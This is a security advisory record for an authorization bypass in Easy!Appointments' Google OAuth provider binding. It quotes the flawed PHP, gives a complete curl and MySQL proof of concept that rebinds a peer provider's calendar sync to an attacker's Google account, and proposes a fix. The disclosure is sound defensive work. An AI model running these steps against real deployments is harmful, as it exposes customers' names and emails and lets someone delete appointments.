{"id":"CVE-2026-52841","aliases":["GHSA-8hm4-r66f-29wr"],"title":"Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider's Google sync","summary":"Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider's Google sync","severity":"low","cvss":3.1,"cwe":["CWE-639"],"vendor":"alextselegidis","product":"alextselegidis/easyappointments","ecosystem":"composer","affected":["alextselegidis/easyappointments <= 1.5.2"],"published":"2026-07-29","updated":"2026-07-29","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-8hm4-r66f-29wr","references":[{"url":"https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-8hm4-r66f-29wr"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52841"},{"url":"https://github.com/alextselegidis/easyappointments/commit/4b2d245d2cd2058dc76e05f6eb65b26699268471"},{"url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"},{"url":"https://github.com/advisories/GHSA-8hm4-r66f-29wr"}],"tags":["ghsa","composer"],"epss":0.00206,"epssPercentile":0.11035,"ingestedAt":"2026-07-29T16:48:33.718Z","slug":"CVE-2026-52841","body":"## Overview\n\n### Summary\n\n`Google::oauth` at `application/controllers/Google.php:278` stores its URL-supplied `provider_id` in the session, and `oauth_callback` saves the issued Google OAuth token against that row without checking the caller owns the provider. Any logged-in backend user (admin, provider, or secretary) rebinds a peer provider's Google sync to a Google account they control. The peer's appointments then sync into the attacker's calendar with each customer's name and email attached as attendee data.\n\n### Preconditions\n\n- Attacker holds a backend login on the target instance (admin, provider, or secretary). The customer role cannot log in.\n- The instance has Google Calendar OAuth configured at `application/config/google.php` - i.e. any deployment that uses the Google sync feature at all.\n- Default deployment per the project's own `docker-compose.yml`; no non-default flags required.\n\n### Details\n\n```php\n// application/controllers/Google.php:278-289\npublic function oauth(string $provider_id): void\n{\n    if (!$this->session->userdata('user_id')) {\n        show_error('Forbidden', 403);\n    }\n\n    // Store the provider id for use on the callback function.\n    session(['oauth_provider_id' => $provider_id]);                       // (*) attacker-chosen id stored unchecked\n\n    // Redirect browser to google user content page.\n    header('Location: ' . $this->google_sync->get_auth_url());\n}\n```\n\n```php\n// application/controllers/Google.php:305-337\npublic function oauth_callback(): void\n{\n    if (!session('user_id')) {\n        abort(403, 'Forbidden');\n    }\n\n    $code = request('code');\n    if (empty($code)) { response('Code authorization failed.'); return; }\n\n    $token = $this->google_sync->authenticate($code);\n    if (empty($token)) { response('Token authorization failed.'); return; }\n\n    $oauth_provider_id = session('oauth_provider_id');\n    if ($oauth_provider_id) {\n        $this->providers_model->set_setting($oauth_provider_id, 'google_sync', true);                  // (*)\n        $this->providers_model->set_setting($oauth_provider_id, 'google_token', json_encode($token));  // (*)\n        $this->providers_model->set_setting($oauth_provider_id, 'google_calendar', 'primary');\n    } else {\n        response('Sync provider id not specified.');\n    }\n}\n```\n\nThe same controller already carries the right gate on every other sync-management entry. `select_google_calendar` at `application/controllers/Google.php:389` and `disable_provider_sync` at `application/controllers/Google.php:423` both refuse the call when the caller is neither an admin nor the provider themselves:\n\n```php\n// application/controllers/Google.php:389\nif (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {\n    throw new RuntimeException('You do not have the required permissions for this task.');\n}\n```\n\n`oauth` and `oauth_callback` skip that check. Once the callback runs with `oauth_provider_id` pointing at a peer provider, the peer's `user_settings` row is overwritten with the attacker's OAuth token and `google_sync` is forcibly enabled.\n\nThe attack chain that delivers the data:\n\n- `Synchronization::sync_appointment_saved` at `application/libraries/Synchronization.php:51` runs on every booking save. The path includes the unauthenticated public booking flow (`Booking::register` at `application/controllers/Booking.php:463`) and the backend save (`Calendar::save_appointment` at `application/controllers/Calendar.php:306`). When `$provider['settings']['google_sync']` is truthy the handler reads `google_token` from the row - now the attacker's - refreshes it, and calls `Google_sync::add_appointment`.\n- `Google_sync::add_appointment` at `application/libraries/Google_sync.php:184-189` adds the customer as a Google calendar attendee with their first name, last name, and email.\n- The cron-triggered `Console::sync` -> `Google::sync($provider_id)` at `application/controllers/Google.php:44` walks the existing `sync_past_days` and `sync_future_days` windows and pushes every appointment to the attacker's calendar.\n- The same loop deletes the local row whenever the remote event throws or is `cancelled` (`application/controllers/Google.php:186-191`); the attacker rolls events out of their Google calendar to delete the victim provider's appointments. Events the attacker creates in their own calendar arrive as unavailability records on the victim's schedule (`application/controllers/Google.php:209-254`).\n\n### Proof of concept\n\n**Setup**\n\n1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:\n\n   ```bash\n   git clone https://github.com/alextselegidis/easyappointments\n   cd easyappointments\n   git checkout 1.5.2\n   cp config-sample.php config.php\n   docker compose up -d\n   until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done\n   ```\n\n2. Run the console installer. The seed sets administrator's password to the literal string `administrator` (see `application/libraries/Instance.php:99`):\n\n   ```bash\n   docker compose exec -T php-fpm php index.php console install\n   ```\n\n3. Configure the install's Google OAuth client. Paste the client id and secret from a Google Cloud project you control into `application/config/google.php` and add `http://localhost/index.php/google/oauth_callback` to the project's authorized redirect URIs. This step is already done on any deployment that uses Google sync.\n\n4. Log in as `administrator` and persist the cookie jar (the project's session cookie is `ea_session`):\n\n   ```bash\n   export ADMIN_JAR=/tmp/admin.cookies\n   curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=administrator\" \\\n     --data-urlencode \"password=administrator\" > /dev/null\n   ```\n\n5. Create the attacker provider (the default `require_phone_number=1` setting makes that field mandatory). Capture both ids:\n\n   ```bash\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode 'provider[first_name]=Mal' \\\n     --data-urlencode 'provider[last_name]=Lory' \\\n     --data-urlencode 'provider[email]=mallory@x.test' \\\n     --data-urlencode 'provider[phone_number]=+10000000000' \\\n     --data-urlencode 'provider[timezone]=UTC' \\\n     --data-urlencode 'provider[language]=english' \\\n     --data-urlencode 'provider[settings][username]=mallory' \\\n     --data-urlencode 'provider[settings][password]=Attacker-pw-1' \\\n     --data-urlencode 'provider[settings][notifications]=0'\n   export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n     -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'\")\n   export VICTIM_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n     -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='janedoe'\")\n   ```\n\n6. Log in as the attacker provider into a dedicated cookie jar:\n\n   ```bash\n   export ATTACKER_JAR=/tmp/attacker.cookies\n   curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ATTACKER_JAR)\n   curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=mallory\" \\\n     --data-urlencode \"password=Attacker-pw-1\" > /dev/null\n   ```\n\n**Exploit**\n\n1. The attacker, logged in as a regular provider with id `$ATTACKER_ID`, points `/google/oauth/` at the victim provider's id `$VICTIM_ID`:\n\n   ```bash\n   curl -si -b $ATTACKER_JAR \"http://localhost/index.php/google/oauth/$VICTIM_ID\" | head -5\n   ```\n\n   Expected: `HTTP/1.1 302 Found` with `Location: https://accounts.google.com/o/oauth2/auth?...` - the server accepted the call from a non-owning caller. Verify the session-side effect on disk: `docker compose exec -T php-fpm cat storage/sessions/ea_session$(awk '$6==\"ea_session\"{print $7}' $ATTACKER_JAR)` shows `oauth_provider_id|s:1:\"<VICTIM_ID>\"` appended to the attacker's session data alongside their own `user_id|i:<ATTACKER_ID>`.\n\n2. The attacker copies the `ea_session` cookie from `$ATTACKER_JAR` into a real browser, opens the redirect URL, signs in to Google with their own Google account, and grants consent. Google redirects back to `http://localhost/index.php/google/oauth_callback?code=...` and the app exchanges the code for an access + refresh token.\n\n3. Confirm the row was rebound. The token, sync flag, and calendar selection now belong to the attacker's Google account but sit on the victim's `ea_user_settings`:\n\n   ```bash\n   docker compose exec -T mysql mysql -uuser -ppassword easyappointments \\\n     -e \"SELECT name, value FROM ea_user_settings WHERE id_users=$VICTIM_ID AND name IN ('google_sync','google_token','google_calendar')\"\n   ```\n\n   Expected: `google_sync = 1`, `google_token = {\"access_token\":\"...\",\"refresh_token\":\"...\"}` (attacker's), `google_calendar = primary`.\n\n4. Trigger a sync. Any unauthenticated booking against the victim provider now lands in the attacker's calendar:\n\n   ```bash\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' /tmp/booking.cookies)\n   curl -s -c /tmp/booking.cookies http://localhost/ -o /dev/null\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' /tmp/booking.cookies)\n   curl -s -b /tmp/booking.cookies -X POST http://localhost/index.php/booking/register \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"post_data[manage_mode]=false\" \\\n     --data-urlencode \"post_data[appointment][id_users_provider]=$VICTIM_ID\" \\\n     --data-urlencode \"post_data[appointment][id_services]=1\" \\\n     --data-urlencode \"post_data[appointment][start_datetime]=2026-06-01 10:00:00\" \\\n     --data-urlencode \"post_data[appointment][end_datetime]=2026-06-01 10:30:00\" \\\n     --data-urlencode \"post_data[customer][first_name]=Carol\" \\\n     --data-urlencode \"post_data[customer][last_name]=Victim\" \\\n     --data-urlencode \"post_data[customer][email]=carol@target.test\"\n   ```\n\n   Expected: the attacker's Google calendar receives a new event whose title is the service name, with `Carol Victim <carol@target.test>` listed as an attendee.\n\n### Impact\n\n- **Confidentiality:** Reads every appointment booked against the victim provider; the customer's first name, last name, and email attach to each Google calendar event as attendee data (`Google_sync.php:184-189`).\n- **Integrity:** Deletes any of the victim provider's appointments by removing the matching event from the attacker's calendar; the next `Console::sync` removes the local row (`Google.php:186-191`).\n- **Integrity:** Inserts arbitrary unavailability records onto the victim provider's schedule by creating events in the attacker's calendar (`Google.php:209-254`).\n\n### Suggestions to fix\n\n> _This has not been tested - it is illustrative only._\n\nReject the call unless the caller is an admin or the provider whose row is about to be rewritten - the same gate `select_google_calendar` and `disable_provider_sync` already use.\n\n```diff\n public function oauth(string $provider_id): void\n {\n     if (!$this->session->userdata('user_id')) {\n         show_error('Forbidden', 403);\n     }\n\n+    if (cannot('edit', PRIV_USERS) && (int) session('user_id') !== (int) $provider_id) {\n+        abort(403, 'Forbidden');\n+    }\n+\n     // Store the provider id for use on the callback function.\n     session(['oauth_provider_id' => $provider_id]);\n\n     // Redirect browser to google user content page.\n     header('Location: ' . $this->google_sync->get_auth_url());\n }\n```\n\n### Credit\n\nDredsen, 2026.\n\n## Affected packages\n\n- `alextselegidis/easyappointments <= 1.5.2`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"sunlit","depthScore":17,"depthScoreParts":{"impact":17.1,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}